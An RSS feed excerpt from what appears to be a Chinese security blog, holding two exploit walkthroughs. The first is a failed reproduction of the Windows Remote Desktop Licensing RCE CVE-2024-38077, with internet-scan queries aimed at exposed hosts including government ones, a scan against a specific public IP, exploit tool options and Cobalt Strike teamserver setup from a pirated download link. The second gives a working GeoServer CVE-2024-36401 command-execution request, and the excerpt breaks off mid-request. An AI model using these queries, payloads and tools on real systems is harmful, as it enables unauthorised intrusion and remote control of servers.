+0000</pubDate><guid>https://ruajingjing.top/post/windows-%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E6%8E%88%E6%9D%83%E6%9C%8D%E5%8A%A1%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-cve-2024-38077/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post 【POC未成功控制】Windows 远程桌面授权服务远程代码执行漏洞 CVE-2024-38077 漏洞 狂躁许可（MadLicense）" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;参考链接
&lt;a class="link" href="https://mp.weixin.qq.com/s/MwNpG5oi72d-IooPBnI0pA" target="_blank" rel="noopener"
 &gt;Windows 远程桌面授权服务远程代码执行漏洞(CVE-2024-38077)&lt;/a&gt;
&lt;a class="link" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38077" target="_blank" rel="noopener"
 &gt;Windows 远程桌面授权服务远程代码执行漏洞&lt;/a&gt;
&lt;a class="link" href="https://mp.weixin.qq.com/s/kznwwggnbjEj1IkTzLjz2Q" target="_blank" rel="noopener"
 &gt;关于Windows远程桌面许可服务存在远程代码执行漏洞的安全公告&lt;/a&gt;
&lt;a class="link" href="https://mp.weixin.qq.com/s/va5U6LIrihJSbaE--7MBgQ" target="_blank" rel="noopener"
 &gt;微软高危漏洞 CVE-2024-38077 EXP&lt;/a&gt;
&lt;a class="link" href="https://github.com/qi4L/CVE-2024-38077" target="_blank" rel="noopener"
 &gt;CVE-2024-38077-EXP&lt;/a&gt;
&lt;a class="link" href="https://cn-sec.com/archives/3053234.html" target="_blank" rel="noopener"
 &gt;漏洞预警 | 已复现】Windows 远程桌面授权服务远程代码执行漏洞（CVE-2024-38077）附POC&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="漏洞影响的产品和版本"&gt;漏洞影响的产品和版本
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2008&lt;/span&gt; R2 &lt;span class="k"&gt;for&lt;/span&gt; x64-based Systems Service Pack &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Server Core installation&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2008&lt;/span&gt; R2 &lt;span class="k"&gt;for&lt;/span&gt; x64-based Systems Service Pack &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Server Core installation&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2008&lt;/span&gt; R2 &lt;span class="k"&gt;for&lt;/span&gt; x64-based Systems Service Pack &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2008&lt;/span&gt; R2 &lt;span class="k"&gt;for&lt;/span&gt; x64-based Systems Service Pack &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2008&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; x64-based Systems Service Pack &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Server Core installation&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2008&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; x64-based Systems Service Pack &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Server Core installation&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2008&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; x64-based Systems Service Pack &lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2008&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; x64-based Systems Service Pack &lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2008&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; 32-bit Systems Service Pack &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Server Core installation&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2008&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; 32-bit Systems Service Pack &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Server Core installation&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2008&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; 32-bit Systems Service Pack &lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2008&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; 32-bit Systems Service Pack &lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2012&lt;/span&gt; R2 &lt;span class="o"&gt;(&lt;/span&gt;Server Core installation&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2012&lt;/span&gt; R2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2012&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Server Core installation&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2012&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2016&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Server Core installation&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2016&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2019&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Server Core installation&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2019&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;Windows Server 2022, 23H2 Edition &lt;span class="o"&gt;(&lt;/span&gt;Server Core installation&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2022&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Server Core installation&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2022&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;Windows Server &lt;span class="m"&gt;2025&lt;/span&gt; Preview
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="用法"&gt;用法
&lt;/h2&gt;&lt;h3 id="靶场搭建"&gt;靶场搭建
&lt;/h3&gt;&lt;p&gt;开一个普通的Windows Server 2012 R2 数据中心版 64位中文版 服务器。&lt;/p&gt;
&lt;p&gt;打开服务器管理器。在命令提示符（cmd）中输入 &amp;ldquo;servermanager&amp;rdquo; 命令打开 &amp;ldquo;服务器管理器&amp;rdquo;。&lt;/p&gt;
&lt;p&gt;&lt;img alt="1723706754157" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723706754157.png"&gt;&lt;/p&gt;
&lt;p&gt;添加角色和功能。点击 &amp;ldquo;添加&amp;rdquo; ，然后弹出角色和功能向导。默认点击下一步到 &amp;ldquo;服务器角色&amp;rdquo; 功能。添加 &amp;ldquo;远程桌面服务&amp;rdquo;。选择后默认下一步进行安装，直到显示 &amp;ldquo;角色服务&amp;rdquo; 。在这里选择 &amp;ldquo;远程桌面授权&amp;rdquo; ，然后点击 &amp;ldquo;安装&amp;rdquo; 。安装过程可能需要等待1-2分钟。&lt;/p&gt;
&lt;p&gt;&lt;img alt="1723706781771" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723706781771.png"&gt;&lt;/p&gt;
&lt;p&gt;安装完成后需要手动开启服务。在命令提示符（cmd）中输入 &amp;ldquo;services.msc&amp;rdquo; 命令，成功打开 &amp;ldquo;服务&amp;rdquo; 窗口，找到 &amp;ldquo;Remote Procedure Call (RPC) Locator&amp;rdquo; 点击开启RPC服务即可完成。&lt;/p&gt;
&lt;p&gt;&lt;img alt="1723706836121" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723706836121.png"&gt;&lt;/p&gt;
&lt;h3 id="搜索语法"&gt;搜索语法
&lt;/h3&gt;&lt;p&gt;ZoomEye搜索&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;3d267954-eeb7-11d1-b94e-00c04fa3080d&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;3d267954-eeb7-11d1-b94e-00c04fa3080d&amp;#34;&lt;/span&gt; + country:&lt;span class="s2"&gt;&amp;#34;CN&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Hunter搜索&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ip.ports&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;3389&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ip.ports&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;135&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; icp.is_exception&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;true&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ip.ports&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;135&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;icp.is_exception&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;icp.name&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;政府&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="检测"&gt;检测
&lt;/h3&gt;&lt;p&gt;方法一：下载深信服CVE-2024-38077漏洞扫描工具.exe，使用命令&lt;code&gt;.\深信服CVE-2024-38077漏洞扫描工具.exe 49.235.229.3&lt;/code&gt; 检查目标是否存在该漏洞。&lt;/p&gt;
&lt;p&gt;方法二：下载利用工具&lt;a class="link" href="https://github.com/qi4L/CVE-2024-38077" target="_blank" rel="noopener"
 &gt;CVE-2024-38077-EXP&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;python CVE-2024-38077-POC.py --target_ip 靶机IP
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="1723706962082" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723706962082.png"&gt;&lt;/p&gt;
&lt;h3 id="利用"&gt;利用
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;options:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; -h, --help show this &lt;span class="nb"&gt;help&lt;/span&gt; message and &lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; --target_ip TARGET_IP
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt; Target IP, eg: 192.168.120.1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt; --evil_ip EVIL_IP Evil IP, eg: 192.168.120.2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt; --evil_dll_path EVIL_DLL_PATH
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt; Evil dll path, eg: &lt;span class="se"&gt;\s&lt;/span&gt;mb&lt;span class="se"&gt;\e&lt;/span&gt;vil_dll.dll
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt; --check_vuln_exist CHECK_VULN_EXIST
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt; Check vulnerability exist before exploit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;有一个公众号复现视频模糊的背景看出似乎要CS？&lt;/p&gt;
&lt;h3 id="cobaltstrike-client的使用"&gt;cobaltstrike-client的使用
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/m0_73353130/article/details/131725759" target="_blank" rel="noopener"
 &gt;CobaltStrike使用教程详解（基础）&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;下载&lt;a class="link" href="https://pan.baidu.com/s/1Dv1oHSBm6vNcY_YrxIWy5Q?pwd=p2n5" target="_blank" rel="noopener"
 &gt;CS4.8&lt;/a&gt;，解压密码&lt;code&gt;mht&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;CS需要一个CS服务器，一个控制机（攻击机），被控机（靶机）。首先在CS服务器上安装java11，然后设置权限全部可执行，设置密码启动。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;推荐使用ubuntu18运行
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo apt install openjdk-11-jre-headless
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;sudo apt install openjdk-11-jdk
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;chmod &lt;span class="m"&gt;777&lt;/span&gt; teamserver
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;chmod &lt;span class="m"&gt;777&lt;/span&gt; TeamServerImage
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;./teamserver CS服务器公网IP passwd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="1723706599130" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723706599130.png"&gt;&lt;/p&gt;
&lt;p&gt;在控制机上cobaltstrike-client也是需要Java11才能启动。&lt;/p&gt;
&lt;p&gt;&lt;img alt="1723706561532" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723706561532.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;java -XX:ParallelGCThreads&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt; -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:uHook.jar -Dfile.encoding&lt;span class="o"&gt;=&lt;/span&gt;utf-8 -jar cobaltstrike-client.jar 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;输入之前设置的主机ip和密码就可以，端口默认。&lt;/p&gt;
&lt;p&gt;&lt;img alt="1723706594296" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723706594296.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1723710225384" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723710225384.png"&gt;&lt;/p&gt;
&lt;p&gt;执行多次不成功，看报错提示似乎还需要一个dll文件。后台翻Github发现POC仅针对2025，好好好好，这么玩是吧，什么垃圾。&lt;/p&gt;
&lt;p&gt;&lt;img alt="1723707633791" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723707633791.png"&gt;&lt;/p&gt;
&lt;h2 id="总结评价"&gt;总结评价
&lt;/h2&gt;&lt;p&gt;没啥用了的噱头很大的鸡肋漏洞，漏洞本身价值很大，但是&lt;strong&gt;防守应急处置手段太过简单，没有沉没代价&lt;/strong&gt;，只要封一个135端口就行，基本不影响业务。默认情况下，Windows服务器远程桌面服务仅支持两个并发会话，在启用RDP多并发会话支持时，需要手动安装RDL服务。不排除还有未更新的和未关闭端口的服务，总之是看谁手速快了。&lt;/p&gt;
&lt;p&gt;我现在因为复现失败很狂躁，不愧是狂躁许可（MadLicense），真是让人狂躁。&lt;/p&gt;
&lt;p&gt;&lt;img alt="1723709893829" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723709893829.png"&gt;&lt;/p&gt;</description></item><item><title>GeoServer CVE-2024-36401 漏洞利用</title><link>https://ruajingjing.top/post/geoserver-cve-2024-36401-%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/</link><pubDate>Tue, 13 Aug 2024 15:02:58 +0000</pubDate><guid>https://ruajingjing.top/post/geoserver-cve-2024-36401-%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post GeoServer CVE-2024-36401 漏洞利用" /&gt;&lt;h2 id="搜索语法"&gt;搜索语法
&lt;/h2&gt;&lt;p&gt;app.name=&amp;ldquo;GeoServer&amp;rdquo; and ip.country=&amp;ldquo;CN&amp;rdquo; and icp.is_exception=&amp;ldquo;true&amp;rdquo;&lt;/p&gt;
&lt;h2 id="版本属性"&gt;版本属性
&lt;/h2&gt;&lt;p&gt;在GeoServer 2.25.1， 2.24.3， 2.23.5版本及以前，未登录的任意用户可以通过构造恶意OGC请求，在默认安装的服务器中执行XPath表达式，进而利用执行Apache Commons Jxpath提供的功能执行任意代码。GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现，利用 GeoServer 可以方便的发布地图数据，允许用户对特征数据进行更新、删除、插入操作。&lt;/p&gt;
&lt;h2 id="靶场环境"&gt;靶场环境
&lt;/h2&gt;&lt;p&gt;建议开一个美国区的云服务器，拉取GitHub和Vulhub方便。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;git clone https://github.com/vulhub/vulhub.git
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; vulhub/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; geoserver/CVE-2024-36401/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;docker-compose up -d
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;访问 &lt;code&gt;http://your-ip:8080/geoserver&lt;/code&gt; 查看到GeoServer的默认页面。&lt;/p&gt;
&lt;p&gt;&lt;img alt="1723450106639" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723450106639.png"&gt;&lt;/p&gt;
&lt;h2 id="poc"&gt;POC
&lt;/h2&gt;&lt;h3 id="get方法的poc"&gt;GET方法的POC
&lt;/h3&gt;&lt;p&gt;&lt;img alt="1723450435176" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723450435176.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;GET /geoserver/wfs?service&lt;span class="o"&gt;=&lt;/span&gt;WFS&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2.0.0&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;request&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;GetPropertyValue&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;typeNames&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;sf:archsites&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;valueReference&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;exec&lt;span class="o"&gt;(&lt;/span&gt;java.lang.Runtime.getRuntime&lt;span class="o"&gt;()&lt;/span&gt;,&lt;span class="s1"&gt;&amp;#39;touch%20/tmp/success1&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;Host: your-ip:8080
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;Accept-Encoding: gzip, deflate, br
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;Accept: */*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;Accept-Language: en-US&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0.9,en&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0.8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;User-Agent: Mozilla/5.0 &lt;span class="o"&gt;(&lt;/span&gt;Windows NT 10.0&lt;span class="p"&gt;;&lt;/span&gt; Win64&lt;span class="p"&gt;;&lt;/span&gt; x64&lt;span class="o"&gt;)&lt;/span&gt; AppleWebKit/537.36 &lt;span class="o"&gt;(&lt;/span&gt;KHTML, like Gecko&lt;span class="o"&gt;)&lt;/span&gt; Chrome/124.0.6367.118 Safari/537.36
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;Connection: close
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;Cache-Control: max-age&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
